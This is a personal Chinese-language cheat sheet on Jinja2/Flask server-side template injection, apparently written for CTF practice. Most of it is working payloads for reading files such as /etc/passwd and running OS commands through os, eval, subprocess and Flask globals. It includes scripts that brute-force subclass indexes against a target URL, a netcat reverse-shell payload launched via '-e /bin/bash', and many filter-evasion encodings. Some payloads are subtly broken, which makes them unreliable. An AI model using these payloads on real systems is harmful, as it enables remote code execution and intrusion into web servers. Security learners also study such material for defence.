SSTI个人总结
SSTI
不同的模版有不同的语法,一般使用Detect-Identify-Expoit的利用流程
模版基础知识
{% ... %} 用来声明变量
{{ ... }} 用来将表达式打印到模板输出
{# ... #} 表示未包含在模板输出中的注释
判断ssti注入类型(绿色箭头代表执行成功,红色箭头代表执行失败)

继承关系和魔术方法
父类和子类
object是父子关系的顶端,所有的数据类型最终的父类都是object
继承关系
class A:pass
class B(A):pass
class C(B):pass
class D(B):pass
c=C()
print(c.__class__)
<class'__main__.C'> 当前类C
print(c.__class__.__base__)
<class'__main__.B'> 当前类C的父类B
再往上找父类可以再接一个__base__
print(c.__class__.__base__.__base__)
<class'__main__.A'> 当前类C的父类B的父类A
print(c.__class__.__base__.__base__.__base__)
<class'object'> 当前类C的父类B的父类A的父类object
更简便的方法可以用__mro__罗列所有父类关系
print(c.__class__.__mro__)
<class'__main__.C'><class'__main__.B'><class'__main__.A'><class'object'>
C->B->A->object
查看父类里面其中一个子类的子类,用[]查看父类中第几个,__subclasses__()查看子类

魔术方法
__class__#查找当前类型的所属对象(用'',"",(),{}都行,只是所属对象不同,不影响)
__base__#沿着父子类的关系往上找一个
__mro_#查找当前类对象的所有继承类
__subclasses__()#查找父类下的所有子类
__init__#查看类是否重载(重载:指程序在运行时就已经加载好了这个模块到内存中,如果出现wrapper字眼,说明没有重载)
__globals__#函数会以字典形式返回当前对象的全部全局变量
常用注入模块
文件读取
查找特定子类的脚本
import requests
url=input('链接:')
for i in range(500):
data = {"name(参数)":"{{().__class__.__base__.__subclasses__()["+str(i)+"]}}"}
try:
response = requests.post(url,data=data)
#print(response.text)
if response.status_code == 200:
if'_frozen_importlib_external.FileLoader(查找的文件)' in response.text:
print(i)
except:
pass
FileLoader的利用
{{''.__class__.__base__.__subclasses__()["xx"]["get_data"](0,/ect/passwd)}}
在后面跟着的["get_data"]表示在前面的类中调用get_data
内建函数eval执行命令
查看可利用内建函数eval的模块的脚本
import requests
url=input('链接:')
for i in range(500):
data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}
try:
response = requests.post(url,data=data)
#print(response.text)
if response.status_code == 200:
if'eval' in response.text:
print(i)
except:
pass
payload:
{{().__class__.__base__.__subclasses__()["66"].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
os模块执行命令
在其他函数中直接调用os模块
'dict', 'get_flashed_messages', 'g', 'namespace', 'url_for', 'range', 'lipsum', 'session', 'request', 'joiner', 'config', 'cycler'
通过config调用os
{{config.__class__.__init__.__globals__['os'].popen('ls /').read()}}
{{config["\x5F\x5F\x63\x6C\x61\x73\x73\x5F\x5F"]["\x5F\x5F\x69\x6E\x69\x74\x5F\x5F"]["\x5F\x5F\x67\x6C\x6F\x62\x61\x6C\x73\x5F\x5F"]["\x6F\x73"]["\x70\x6F\x70\x65\x6E"]('cat /flag')["\x72\x65\x61\x64"]()}}
通过url_for调用os
{{url_for.__globals__.os.popen('ls /').read()}}
在已经加载os模块的子类里直接调用os模块
{{''.__class__.__bases__[0].__subclasses__()[199].__init__.__globals__['os'].popen("ls /").read()}}
查找脚本
import requests
url=input('链接:')
for i in range(500):
data = {"name":"{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__}}"}
try:
response = requests.post(url,data=data)
#print(response.text)
if response.status_code == 200:
if'os.py' in response.text:
print(i)
except:
pass
importlib执行命令
可以加载第三方库,使用load_module加载os,需要用脚本找_frozen_impotlib.Builtinlmporter
{{''.__class__.base__.subclasses__()[66]["load_module"]("os")["popen"]("ls /").read()}}
linecache函数执行命令
linecache函数可用于读取任意一个文件的某一行,而这个函数中也引入了os模块
{{''.__class__.base__.subclasses__()[66].__init__.__globals__["linecache"]["os"]popen("ls /").read()}}
subprocess.Popen类执行命令
python2.4开始,可以用subprocess这个模块来产生子进程,并连接到子进程的标准输入/输出/错误中午,还可以得到子进程的返回值。
subprocess意在替代其他的几个老的模块或者函数,比如:os.system、os.popen等函数
{{''.__class__.__base__.subclasses__()[200]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}
{%%}是属于flask的控制语句,且以{% end... %}结尾,可以通过在控制语句定义变量或者写循环,判断

用{% %}尝试执行
判断语句能否正常执行
{% if 2>1 %}hhh{% endif %}
输出hhh则证明可以正常执行
{% if".__class__"%}hhh{%endif%}
有回显hhh说明".__class__"有内容
{%if"".__class__.__base__.__subclasses__()['+str(i)+'].__init__.__globals__["popen"](ls /).read()%}hhh{% endif %}
有回显说明能执行,用脚本找能执行的子类编号,然后用print()执行命令
{%print("".__class__.__base__.__subclasses__()['xxx'].__init__.__globals__["popen"](ls /).read())%}
import requests
url=链接
for i in range(500):
data = {"name":'{%if"".__class__.__base__.__subclasses__()['+str(i)+'].__init__.__globals__["popen"](ls /).read()%}hhh{% endif %}'}
try:
response = requests.post(url,data=data)
#print(response.text)
if response.status_code == 200:
if'hhh' in response.text:
print(i,"--->",data)
break
except:
pass
无回显ssti
反弹shell
通过rce反弹一个shell出来绕过无回显的页面
import requests
url=目标主机地址
for i in range(300):
try:
data={"code":'{{"".__class__.__base__.__subclasses__()['+str(i)+'].__init__.__globals__["popen"]("netcat 127.1.1.1 6666 -e/bin/bash").read()}}'}
response=requests.post(url,data=data)
except:
pass
外带注入
通过requestbin或dnslog的方式将信息传到外界
纯盲注
过滤
中括号过滤
__getitem__()魔术方法,对字典使用时,传入字符串,返回字典相应键所对应的值;当对列表使用时,传入整数返回列表对应索引的值
{{''.__class__.__base__.__subclasses__().__getitem__(117)}}#这里的__getitem__(117)相当于[117]
{{''.__class__.__base__.__subclasses__().__getitem__(117).__init__.__globals__.__getitem__('popen')('ls /').read()}}
单双引号过滤
request在flask中可以访问给予http请求传递的所有信息,此request并非python函数而是flask内部的函数
request.args.参数 #获取get传入的参数的值
request.values.x1 #所有参数
request.cookies #获取cookies传入参数
request.headers #获取请求头请求参数
request.form.参数 #获取post传入的参数的值(Content_Type:application/x-www-form-uelencoded或multipart/form-data)
request.data #获取post传入参数(Content-Type:a/b)
requets.json #获取post传入json参数(Content-Type:application/json)
用get举例给出payload:
{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__[request.args.key](request.args.cmd).read()}}
URL?key=popen&cmd=ls /
用cookie的时候用;分隔
___过滤
过滤器通过管道符(|)与变量拼接,并且在括号中可能有可选的参数
参数可以链接到多个过滤器,一个过滤器的输出应用到下一个过滤器
length(): 获取一个序列或者字典的长度并返回。
int(): 将值转换为整数(int)类型。
float(): 将值转换为浮点数(float)类型。
lower(): 将字符串转换为小写。
upper(): 将字符串转换为大写。
reverse(): 反转字符串。
replace(value, old, new): 将字符串 value 中的 old 替换为 new。
list(): 将变量转换为列表类型。
string(): 将变量转换成字符串类型。
join(): 将一个序列中的参数值拼接成字符串,通常与 Python 内置的 dict() 配合使用。
attr(): 获取对象的属性
1.request方法
payload:
POST:
{{()|attr(request.args.cla)|attr(request.args.bas)|attr(request.args.sub)()|attr(request.args.gei)(117)|attr(request.args.ini)|attr(request.args.glo)|attr(request.args.gei)('popen')('ls /')|attr('read')()}}
GET:
URL?cla=__class__&bas=__base__&sub=__subclasses__&ini=__init__&glo=__globals__&gei=__getitem__
2.编码
{{().__class__.__base__.__subclasses__()[117].__init__.__globals__['os']['popen']('ls').read()}}
unicode编码
{{()|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr("__getitem__")(117)|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("ls /")|attr("read")()}}
{{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(117)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("ls /")|attr("read")()}}
16位编码
{{()["\x5F\x5F\x63\x6C\x61\x73\x73\x5F\x5F"]["\x5F\x5F\x62\x61\x73\x65\x5F\x5F"]["\x5F\x5F\x73\x75\x62\x63\x6C\x61\x73\x73\x65\x73\x5F\x5F"]()[117]["\x5F\x5F\x69\x6E\x69\x74\x5F\x5F"]["\x5F\x5F\x67\x6C\x6F\x62\x61\x6C\x73\x5F\x5F"]["os"].popen("ls").read()}}
base64编码(python3里不行)
{{()|attr('X19jbGFzc19f'.decode('base64'))}}...
.过滤
1.用中括号代替点
{{()['__class__']['__base__']['__subclasses__']()[117]['__init__']['__globals__']['popen']('ls')['read']()}}
2.用attr()绕过
关键字过滤
1.字符编码
2.拼接
'__cl'+'ass__'
3.使用jinjia2中的"~"进行拼接:{%set a="__cla"%}{%set b=ss__%}{{()[a~b]}}
4.过滤器(reverse反转、replace替换、join拼接等)
{%set a="__ssalc__"|reverse%}{{a}}
5.char()

获取config
flask内置函数
lipsum可加载第三方库
url_for可返回url路径
flask内置对象
cycler
joiner
namespace
config
request
session
调用current_app相当于调用flask
{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}
获取符号
利用flask内置函数和对象获取符号
{% set a=({}|select()|string()) %}{{a}}
#获取下划线
{% set a=(self|string()) %}{{a}}
#获取空格
{% set a=(self|string|urlencode) %}{{a}}
#获取百分号
{% set a=(app.__doc__|string) %}{{a}}
使用list可查看拆分字符,用[x]调用字符
{{().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat flag').read()}}
{% set a = dict(__class__=1)|join %}
{% set b = dict(__base__=1)|join %}
{% set c = dict(__subclasses__=1)|join %}
{% set d = dict(__getitem__=1)|join %}
{% set e = dict(__in=1, it__=2)|join %}
{% set f = dict(__glo=1, bals__=2)|join %}
{% set g = dict(popen=1)|join %}
{% set kg ={}|select()|string()|attr(d)(10) %}
{% set i = (dict(cat=1)|join, kg, dict(flag=2)|join)|join %}
{% set r = dict(read=1)|join %}
{{()|attr(a)|attr(b)|attr(c)()|attr(d)(117)|attr(e)|attr(f)|attr(d)(g)(i)|attr(r)()}}
写的不是很好,也有很多没有涉及的地方,以后遇到会慢慢修改的

浙公网安备 33010602011771号